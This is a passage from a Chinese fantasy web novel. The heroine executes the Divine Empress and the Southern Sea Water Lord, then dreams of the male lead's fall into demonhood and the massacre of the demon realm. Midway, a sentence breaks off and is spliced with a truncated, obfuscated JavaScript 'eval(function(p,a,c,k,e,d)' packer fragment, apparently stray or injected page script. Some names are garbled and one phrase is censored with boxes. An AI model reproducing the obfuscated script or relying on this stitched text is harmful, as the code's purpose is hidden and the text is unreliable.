季疏浅看了看他,确实是没事的样子,又想到前几日比剑,应当是没什么大事了,转头看向玉阶上缓缓出现的神后和南海水君。 大家的神情都有些莫测,看着手握长弓的神后,没想到神后竟然在大庭广众之下对 “神后娘娘,你可知刺杀酆都大帝乃是死罪。”她冷声道。 神后一笑,身上的金铃发出脆响,表情有些狰狞:“若我说神界不服你呢?这酆都大帝之位你坐不上!” 她一瞥季疏浅身旁的宁樾,冷笑道:“这不是废太子吗,还知道戴个面具不出来丢人现眼啊。” 她目光在季疏浅和宁樾身上来回看了看:“莫不是公主殿下和废太子有什么奸情吧,这么护着他……身上伤都给治好了,废了很多精力吧?” 季疏浅冷冷地看着她不为所动,她看出来了,神后如今怕是穷途末路要破罐子破摔了。 正在思考怎么处理间,身旁一阵风掠过脸庞。 “宁樾!” 声音飘散在空中,她一把拦住拿着玄天闪过去的宁樾,眉头微蹙:“宁樾?” 她想要透过那张面具看看宁樾此时的神情,却隐隐约约看见了眉心的一点红光。 她第一反应是入魔了,可仔细瞧着却没有入魔的迹象。她叹了口气,想了想用手抚上他的面具,轻轻拍了拍:“宁樾,冷静一点。” 宁樾微微闭上了眼睛,侧过头,藏在袖袍下的手止不住颤抖。季疏浅看着他似有些痛苦,目光落到他白皙的脖颈上,一根根青筋凸起。 她捻起一个静心诀,拉起宁樾的手,轻轻点在他的掌心。 静心诀果然有效果,宁樾凸起的青筋一点点消了下去。正盯着他看,季疏浅感觉到他捏了一下自己的手。 看来是恢复正常了,她移开目光。 “那我请问神后娘娘有何资格代表神界做主,论皇室血缘,也轮不到神后娘娘吧?”宁樾淡淡道,空洞的眼神却好似能看破一切。 “你……”神后怒道,头上插的金簪因着生气止不住晃动。 53. 了结 “宁樾你已经被开除神籍了,你没有资格来质问本神。”她语调不同于往日的娇柔,颇有一番不作不休的气势。 宁樾像是听到了什么好笑的事,剑气一转,一把玄天凌空架在神后脖子上。季疏浅见宁樾已经冷静了下来,应当只是想吓吓她,便未阻拦,看着神后花容失色的模样轻笑。 “神后娘娘不要着急嘛,等酆都文书公之于众之时,我们再来看看神界诸神是什么说法。”她微微朝前探身,似笑非笑地在她耳畔说道。 神后侧过头瞪着她,她不甚在意地拍了拍手:“诸位,珈若不才,拖延多日才给诸位一个交代,只是此事事关神魔两界,容不得差错。” 她轻轻一划,浮现的点点星光落在每个人手中,成为一张徐徐展开的卷轴。宾客们面面相觑地看着手上的卷轴,各自打开来看。 过了许久,有人出声道:“岂有此理,神帝如此罔顾情感,什么做派!” 有人低声附和:“就是啊就是啊。”“我看他就是想取代酆都……” “这开战苦的是天下众生啊,他真是利欲熏心疯了……”各种声音入耳,季疏浅轻轻笑了笑,这世上还是明白人更多。 神后神情有些尴尬,一双含情目蓄满泪水,她忽然在众目睽睽之下跪了下来。季疏浅被她这一出搞的措手不及,宁樾听见声响也捏了捏季疏浅的手。 “殿下……”她泪水似一颗颗珍珠不间断地落下,剧烈地晃动脑袋,满头珠钗碰撞发出叮铃铃的声响。 “我不知……我不知元?竟然是这样的人,他告诉我的不是这样的……”她声音染上一抹委屈,哭得梨花带雨。 许是见面前的季疏浅无动于衷,她忽然向前挪动一步,抓住季疏浅的裙摆,猛的朝她磕头。 “放肆。身为神后,如此不知礼数。”季疏浅本想看她如何作妖,但没想到她直接磕起了头。 她在神帝的记忆中看到了清允在这些事中的推波助澜,所以眼前这幅演戏的模样让她心生厌烦。 “我真的不知,殿下那一箭你尽管罚我,我只是一时气急想为元?正名罢了。”说罢,她还用袖袍一把抹掉泪水:“但我真不知他是这种人,真不知啊。” “哈哈,神后是说不知神魔开战之事吗?”宁樾冷声道:“那我手下的神兵出兵文书上可是有神后娘娘的口谕啊,你是说你并不知道吗?” 还没等她回应,季疏浅补道:“我想神帝的记忆出不了错。” “神后娘娘今日真是演了一出好戏啊,要不是看过神帝的记忆,我差点信了。” 神后一脸震惊地看着她,还想矢口否认却发现自己找不到任何理由。她闭上双眼,流下两行眼泪,本在见一切没有转机后她打算来个金蝉脱壳,将这一切和自己摘的干干净净,却不曾想她居然知道了。 想她这一生费尽心思和手段,一步步从水君之女到神帝宠幸的兰妃娘娘,再到精心谋划布局成为万人之上的神后。一生机关算尽,最后却享了不过几日尊贵。 她冷笑一声,自袖口处猛地抽出一把匕首冲季疏浅刺去,季疏浅见她扑来在心中鄙夷道:这速度未免也太慢了。 她微微侧身避开,就见赤红的玄天猛的从神后的后背穿过,清脆的碎裂声刹那绽开。 季疏浅惊讶刹那,但马上恢复了平静,一手接过虚华,迎上南海水君刺来的长剑。 两剑相撞,发出清脆响声,季疏浅手腕稍稍用力,水君的长剑应声碎裂,她反手将剑往他胸膛一送。 南海水君猛的喷出一口血,剑道来的太猛,剩下的一口气不足以他再说话。他瞥了一眼倒在地上的神后,也自嘲一笑倒了下去。 所有人都没反应过来短短几个眨眼的时间,这对父女就双双倒地灰飞烟灭。 季疏浅拔出虚华,还微微后退两步避免血溅在身上,她冷声道:“对我酆都不敬者一律这个下场。” “神后在神魔之战中参与甚多,按律当诛。南海水君袭击酆都大帝,按律也当诛。今日在此正法,希望诸位引以为鉴,我酆都的律法自第一任大帝定下,绝非儿戏。” 说完,她拉了拉宁樾的衣袖,传音道:“走吧。” - 殿内,季疏浅拉着宁樾的衣袖:“宁樾,神后已经灰飞烟灭了,神帝我也会处理……这样你好受些了吗?” 宁樾顿了顿,左手用力握成拳:“……多谢,今日我有些失控了。” 季疏浅歪头看着他:“你今日这种情况是最近出现的吗?” “对……是我自己心魔作祟。” 季疏浅若有所思地点了点头,她一直在留意宁樾可能入魔的瞬间,眼下有时候会受心魔影响,但看起来不至于走火入魔。 该不会她无形间改变了走向吧?可善慧不是说无论如何结局都不会改变吗。 她目光落到自己牵着的衣袖上,顺着衣袖拍了拍宁樾:“没事的,都会如此,而且错不在你。” 她想了想岔开了话题:“如今神魔两界无主,你打算如何?” 他沉吟着思索了一会儿,微微扭过头想捕捉她的视线:“你打算如何?” 啊?这个问题属实问住了季疏浅,因为她并没有想过要真的处理这皎月调中的事,只是顺带走走过场罢了。 但宁樾都问她了,她只能小心地揣摩着:“你……应该会更想管魔界那边的事务吧?” 宁樾听到微微愣了愣神:“你怎么安排我听你的就是。” 季疏浅听完微微一挑眉,忽然生出了逗逗他的想法:“那我安排你当我的侍从你也听吗?” 宁樾略微惊讶,有些不明所以,但他却是郑重道:“我听你安排。” 季疏浅被他这一本正经的回答逗笑了,笑了两声:“逗你玩儿的,你负责魔界吧。” “神界可以交由元容与和元祉来负责……”话虽这么说,可她却有种愧对神界的感觉,将诺大一个神界交给这两兄弟,她觉得多少有点不负责任了。 她思索了一下:“其实也可以选贤举能,不一定非要皇室血脉,这种延续千年的传统也没有被证实是行之有效的,不如改改。” 宁樾点了点头:“其实我选拔军中将领就是如此,有些事情需要的是真正有能力胜任的人,虽然这样会得罪很多权贵之人。” 季疏浅点头应声道:“是啊。”曾经她在军中也是如此,没少得罪人。 不过她微微笑了笑,垂下眼睫掩去眼中神色。 反正这是在皎月调中,她大可以试试,积累下经验以后说不定能在现实中用上。 “那我来负责魔界事务吗?” 季疏浅看着他一笑:“宁樾,你身上本就有一半魔族血统,理应你来。” 目光所及,她看着宁樾脸上那张严丝合缝的银色面具忽然萌生了一个想法,她伸手将他的面具摘了下来。 宁越感受到了她的动作,起初还在想她要干什么,所以他没有加以阻止,任由她来,却忽然感觉到面上一阵风袭过,他下意识伸手挡住了脸。 在今日继任大典上,他带上了面具是防止众人议论纷纷。但其实内心还有一种不可言说的隐秘情绪,他自知这张脸现在有些不堪入目,明明在其他人面前他都不在意,可就是独独怕她看见。 季疏浅瞪着乌溜溜的眸子看着他,看着他这副有些娇羞的样子失笑。她轻轻拉开他的手腕:“躲什么?我看看好些没有。” 闻言,宁樾也觉得自己的行为确实有些反常了,慢慢将手放下。“我怕吓到你。” 季疏浅歪头看着他,抿着唇不在意道:“皮貌而已。”她一边说着,一边轻轻抹上宁樾的脸颊,细嫩的手指抚过有些粗糙的疤痕。 她有些心疼道:“是不是还会疼?” “有时候吧。” 她看了看宁樾,不像是撒谎的样子,思索了一下她摊开掌心,掌心中有一个小小的白瓷瓶。 拧开瓷瓶,她沾了一点药膏,轻轻抹上他的疤痕处。 宁樾微微愣了愣:“这是?” “我让御医再配了一点药。”说罢,她扳开宁樾的手,将这个白玉小瓷瓶塞进他的手里。 “你早点休息,我先回去了。”她轻轻拭去手上残留的药膏,看了看宁樾,闪身离开。 宁樾握着那只小小的瓷瓶,微微出神,不由得攥得紧了紧。 - 许是近日连夜准备继位大典有些乏了,季疏浅这一夜入睡的格外快。 风起云涌,天如墨色。她将虚华紧紧握在手中,警惕地看着四周,这是什么地方?她为什么会在这里? 高耸入云的峭壁拦住了视线,也拦住了想要远行的云。朵朵墨色浓云盘旋在上空,隐隐约约有惊雷声传来。 她猛的掐了一把自己,居然不痛。季疏浅暗自松了口气,不过是一场幻梦,说来也奇怪,自上次幻梦出现已经隔了许久了。 她打量着四周,无所顾忌地朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季疏浅看着四周忽然明白了些什么,千年前宁樾同样上了审判台,可惜六界无一人助他。在受了天罚后,他们就将他扔到了审判台之下的弑神崖。 她难以置信地握紧了拳头,眼眶有些泛红。千年前宁樾就是被这么折磨的吗?内丹尽碎本就会灰飞烟灭,可他们还觉得不够,还要将他扔到这戾气丛生的鬼地方永绝轮回。 这种惨无人道的折磨,换她成魔她也屠尽神界。 她看着眼前的恶灵一点点靠近宁樾,宁樾也有些察觉微不可察地动了动。浑浊的嗓音在崖底回荡:“太子殿下,你恨吗?” “你看你最敬重的父皇害死你母后、妹妹、舅舅,你亲近的兄弟一心要你死,你护着的神界无一人为你发声。” “现如今你终于看清了吧?天之骄子沦为废人,可这对他们而言还不够,他们扔你下来要的是你永世不得超生。” “不恨吗?” “世人颠倒黑白,这六界还有什么值得你留恋的。” 宁樾没有回应,可季疏浅看出他那遍体鳞伤的身体痛苦地颤了颤。 恶灵也察觉到他的异常,发出了含混不清的笑声。 “我们来做个交易如何?”恶灵步步逼近。 “我将我内丹给你,助你重塑筋脉,如何?”它的声音极具诱惑力。 宁樾微微动了动,嗓音沙哑到难以听出他在说什么:“……你……要…什么?” 恶灵听到一笑:“好说。” “待你大仇得报之后,你这具肉身归我,如何?”它怕宁樾不答应,还补上一句:“到时候我会送你去轮回的,你会有新的家人,怎样?” 季疏浅垂下眼睫,难怪,原来宁樾是借恶灵内丹成魔的…… “好。”沙哑的不带一丝感情的声音在崖底的黑暗中格外清晰。 季疏浅看着恶灵化成千丝万缕的黑雾,剥离出一颗猩红的内丹送进了宁樾破败的身体内,然后无数的黑雾涌进宁樾体内。 她看着宁樾身上大多数伤口迅速愈合,却也有些陈年旧伤难以抹去痕迹。看着他面目全非的脸一点点恢复如初,只是比曾经惨白几分,眉心多了一个妖冶的红的能滴血的魔印。 再眨眼时,宁樾已经站了起来,抬眼间她正好对上宁樾猩红的双眼。 她知道此时宁樾不可能看见她,但他直直盯着她,仿佛发现了她的存在。她透过那双瞳孔,已然看不出半分情感,只有无尽的淡漠和恨意。 画面似流水般淌过,她看见宁樾抬手一挥,戾气撕开了弑神崖上的封印,他眼都不眨一下地冲了出去。 54. 梦中梦(一) 眨眼间宁樾就来到了审判台上,季疏浅跟着他的脚步停下。 刚刚还热闹非凡的审判台已经空无一人,但地上的斑斑血迹和雷击的焦黑、倒下的铁锁宣告着这里不久前发生了什么。 宁樾迟疑一瞬,走到倒下的铁锁前,忽然勾起唇一笑,缓缓蹲下拿起碎成几段的铁锁,他在手中摩挲着铁锁,猩红的眼瞳意味不明。 季疏浅忽然想起他的眼睛,她靠近了看了看,发现那双猩红的眼瞳并没有神采……她心中叹了口气,看来这内丹也没有让他的眼睛完全恢复。 正想着,她抬眸一看,见宁樾眼底似覆上了一层冰霜,他轻轻一捏手中铁锁,上一秒还闪着寒光的铁锁瞬间化成了齑粉。 季疏浅微微皱了皱眉头,观察着他下一步的动作。宁樾看着在空中散开的齑粉眼底掠过一丝嘲讽,他慢慢地合上了手掌。 下一瞬天旋地转,转眼间季疏浅发现自己和他已经处于一片焦土上。满地狼藉,残垣断壁高高垒起,土地片片焦黑。 她看着眼前之景,幽幽叹了口气,不忍地看向远处流离失所、衣衫褴褛的百姓,他们衣衫上或多或少都沾上了血迹,血迹早已凝固与伤口紧紧黏在一块。 他们围在一个大坑旁,孩童的啼哭声不绝,而怀抱着孩童的大人眼眶亦是泛红。 她跟着宁樾的脚步走近,定睛才看清那大坑中堆满了一具具尸体和残肢断臂。季疏浅眉头紧皱,下意识看了一眼宁樾。 他眉心的魔印闪着红光,红的似能滴出血,眼眶也染上红意,脸颊上爬上了淡淡魔纹。 她不明白自己心底滋味,看着大坑中难以计数的尸体无言。坑中有穿着甲衣的士兵,也有寻常妇女,也有年过半百的老人……还有头上扎着两个发髻的孩童。 这又是多少人的亲人,多少个家庭。 她环顾着四周,这是千年前真实发生的,和她在皎月调里感受的每一件事都不一样。 她知道这是过往,无法改变的过往。她无法透过时间去触碰已成定局的过往。 坑边的人小声抽泣着,这便是此生最后一面了,有些人承受不住这一切晕倒在地…… 终是有人狠心自掌心燃起火焰,一把火焚了整个坑……烟雾熏人,火光冲天,啼哭声此起彼伏。 季疏浅定定地看着火光,自古以来战争不绝,成王败寇一夕之间,可亘古不变的受害者都是百姓。 身旁的宁樾不知不觉间魔纹爬满了脸,样子有些骇人。有人不经意间瞥见了他,大叫一声晕厥了过去。 宁樾抬眸看了看他,消失在这里。 季疏浅猜到他会去哪里,果不其然下一秒就来到一座黑曜石修筑的宏伟宫殿前。宫殿前更是尸横遍野,折断的兵戟散了满地。 尽管现在的宫殿已被战火摧残的不成样子,但依然掩不住其宏伟壮丽。她叹了口气,难怪史书说千年前魔界富庶,果真不假。 台阶上四处倒着士兵的尸体,这些士兵有神族打扮也有魔族打扮,她不难想象出这里曾经发生的激战。 宁樾走到一位面朝下的魔族士兵旁,握住他的胳膊将他翻了个面,脸上的魔纹也掩不住他难以置信的表情。宁樾捏着胳膊的手微微颤抖,季疏浅看着他胸口那一个空荡荡的大洞别过了头。 再回头时,宁樾已经起身,他一步一步朝着大殿走去。忽然他顿住了脚步,与此同时,季疏浅也听到一声轻微的呻吟声。 宁樾寻着声音而去,他盯着层层叠叠的尸体辨别了一瞬声音的来源,一把抓住一个被长□□穿的神族士兵的尸体扔到一旁,盯着被压在他身下浑身沾满血污的少年士兵。 一看到那张面孔季疏浅立马想到了一个人——日后宁樾手下的大将枭寒。她看着宁樾蹲下身子,淡漠的脸上居然罕见的有一丝焦急。 宁樾伸手摸了摸他的手腕,微微皱眉,抬手从眉心的魔印中捻出一缕魔气,将魔气在手中一点点炼化,直到力量极为纯净时将这股力量慢慢注入枭寒体内。 季疏浅看着他做完这一切微不可察的皱了皱眉,然后漫不经心地扶起枭寒。在他怀中的枭寒慢慢睁开了眼,看清眼前人时有些紧张道:“神……神族太子?” 下一秒,寒光一现,他忽然从袖中摸出一把残缺的匕首刺向宁樾。宁樾抬手轻轻一拍,匕首飞出几米远,在地上化成一把残破的折扇。 “你们这些神族……”他怒视着宁樾,却因为身上的伤还没好完全猛地咳出几口血来。 宁樾轻轻拍了拍他的背,帮他顺了顺体内气息:“你再好好看看我。” 枭寒这才收起怒气,正视宁樾。这时他才发现刚才自己才醒来气急攻心,都没看见宁樾额心那么瞩目的猩红色魔纹,他难以置信道:“你……?” “我堕了魔。”宁樾看向远处,眼底神色晦暗。 季疏浅看着他,无奈笑了笑。宁樾啊,你骗了天下人。世人都以为你是着了心魔的道,不知你是走投无路才与虎谋皮堕魔的。 枭寒看着他一时难以置信,曾经的天之骄子竟然一朝堕魔,他一时无言,结结巴巴道:“是你救了我吗?多谢……” “当天发生了什么?”宁樾看着他冷冷问道。 听到他这一问题,枭寒一时沉默,慢慢红了眼眶。 “那日,魔界千年来的大阵突然如洪水决堤般被破了,上万神兵攻进魔界,一路烧伤抢掠,那些民众哪儿有还手之力。”说着说着他就哽咽了。 季疏浅看着宁樾的脸色一点点变得阴沉:“继续说。” 枭寒眼眶泛红,声音有些颤抖:“魔王殿下派人先去修补大阵,神界也料到魔王殿下会派人去修补大阵,暗中埋伏军队将他们赶尽杀绝。” “那时整个魔界被重创,殿下他本可以脱身而去,可他命令几十支精锐军队全部前去保护魔界百姓撤退到魔谷之中,那里魔气纵横,布下阵法仗着天险之势可以拦住神兵。” “然后殿下带着我们这些前锋精锐和神帝手下上万的神兵交战,他以一当百,但神兵数量太多了……最后我们一路退到大殿之中……” 说到这时,他抬眸打量了一眼宁樾的神色,揣揣不安道:“……殿下他身受重伤,已是穷途末路,我们死守大殿……” “可神帝还是杀了殿下……和前来的……神后娘娘,还夺走了象征兵权的黑玉扳指。”说完他小心看了一眼宁樾的神情,弱弱道:“殿下,节哀。” 看着宁樾暴雨欲来的神情,他忽然想到什么,急忙道:“但是殿下有一事,神后娘娘似乎也重创了神帝。” 季疏浅带着同情望向宁樾,这些她在神帝记忆中看见的事被赤裸裸地摆在了宁樾面前。宁樾紧紧握了握拳,忽地起身盯着他:“那你是怎么活下来的?” 枭寒呆了呆:“我本来以为我也死了……” “到最后殿下灰飞烟灭后,神帝下令剿杀所有魔兵,我们拼尽全力和他们同归于尽……我抱着必死的心和那个神族将领厮杀,我只记得死前他压在了我身上……可能因此逃过了一劫吧。”说完他有些伤感地垂下眼睫:“可他们都死了。” 宁樾盯着他的眼睛看了看,冷声道:“你愿意从今以后跟着我吗?” “啊?”枭寒没反应过来他在说什么。 “复仇。”宁樾冷冷丢下两个字。 枭寒看着他认真的神情脱口而出:“好!我自小因病被亲人抛弃,魔王殿下收留我给我医好病,还愿意留我在军中,魔王殿下的这份恩情枭寒没齿难忘。” “神界屠戮我族性命,惨无人道,此仇必报!” 说完他单膝跪在地上,单手抚肩朝宁樾行了一个魔族的礼:“殿下有魔王殿下的血统,又于枭寒有救命之恩,枭寒誓死追随殿下。” 宁樾瞥了他一眼:“随我去一趟魔谷。” 枭寒当下立即明白了他的想法,有些犹豫道:“殿下,神帝拿了军令,恐怕那边的情况不容乐观,恐怕还会被反将一军。” 宁樾轻蔑一笑:“那看他有没有这个本事。” 季疏浅看着他忽觉有些欣慰,至少千年来枭寒是真的衷心护主,或许这一路走来,宁樾没有亲人也没有朋友,唯一能说说话的也就枭寒了。 魔气迷眼,她微微皱了皱眉,看着这片黑气弥漫的山谷,前路狭窄极易隐蔽,果然易守难攻,她在心中默默想着。 要是神帝借着军令指挥此地的魔军出谷,他再在其中伏击,确实是件棘手的事。 宁樾刚往前迈了一步,一道黑 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将领定了定神:“皆在谷内。”他抬手一挥,列阵的士兵有规律的散开,眼前和万花筒一样裂开,一眼望不到头的百姓们惊恐地缩在里面。 枭寒见到他们送了一口长气,眼底一片喜色,他侧头看向宁樾:“太好了!大部分魔界百姓们都在此处。” 宁樾没有作声,但是脸色比刚刚好看许多。 为首的将领有些哽咽:“神帝属下刚带着军令前来,我等誓死不从,他打算强开阵法……眼前的这些兄弟们死守法阵……直到大军撤去。” 季疏浅看着他们渐渐红了眼眶,在军中军令是至高无上的号令,但眼前的军士们可以为了百姓誓死不从军令。 其实他们在意的根本不是那象征权力的器物,而是自己站在什么样的立场上。 她想起和宁樾在广陵城时,他极其随意地将那黑玉扳指给了出去,浅浅笑了笑……看来确实也没那么重要。 “只怕神兵们会卷土重来。”枭寒忧心忡忡道。 闻言,宁樾忽然一笑,眼中却并无笑意:“这不就来了吗?” 说话间,空中电闪雷鸣,刺眼亮光穿透魔气。为首之人穿着一身深蓝色锦袍,身上用金线绣满花纹,头束金冠,别提有多富贵了。 “南海水君?”枭寒看着他愣愣道。 宁樾眯起眼睛,冷笑一声:“宁樾可要祝贺水君高升了,爱女坐上神后之位,想来水君前路坦途啊。” “你……你……怎么可能?”水君看着宁樾瞪大了眼睛,难以置信地盯着他。 “不可能,你少装神弄鬼,宁樾都死在审判台上了。”他自圆其说后轻蔑地看着宁樾,毫不看在眼中。 宁樾看着他没说话,却冷冷笑了几声:“是啊,宁樾是死在审判台上了。” 他一抬手,一道黑气冲着水君而去,所有人都还没反应过来时,上一秒还轻蔑笑着的水君,下一秒头颅咕噜噜滚在了地上。 在场气氛凝固了一瞬,所有人都震惊地看着若无其事的宁樾,他闪到神兵阵前,提起水君的头颅,扫视着神兵们。 “你们中有些人,曾经在我麾下吧?”他冷声问道。 神兵都低垂着头不敢作声,这是神界公认的战神,神军中无人不知宁樾的神勇,他们都不敢与他对着干……况且他现在看起来入了魔。 宁樾盯着他们半晌,幽幽道:“我给你们一次机会,你们若不愿再效力神界,现在即可解甲走人……仍效力神界者,往日同袍情分今日一刀两断。” 士兵们面面相觑,一时不知如何抉择,忽然其中一人高声道:“神帝无能,我愿追随殿下。”说罢他脱下了一身装束,将手中长剑扔到地上,发出一声清脆的嗡鸣声。 他一解甲,所有人不再犹豫,纷纷喊着:“神帝无能!神帝无能!”无数长剑落地的声音响起。 宁樾看着他们握着玄天的手紧了几分,他转身看着枭寒:“这里交给你,我去神界一趟。” 枭寒吃了一惊:“殿下你要一个人前去?” 宁樾打量了一眼他身后看着有些踌躇的将领,淡淡道:“名不正言不顺怎么行。” “对付他们我一人就够了。”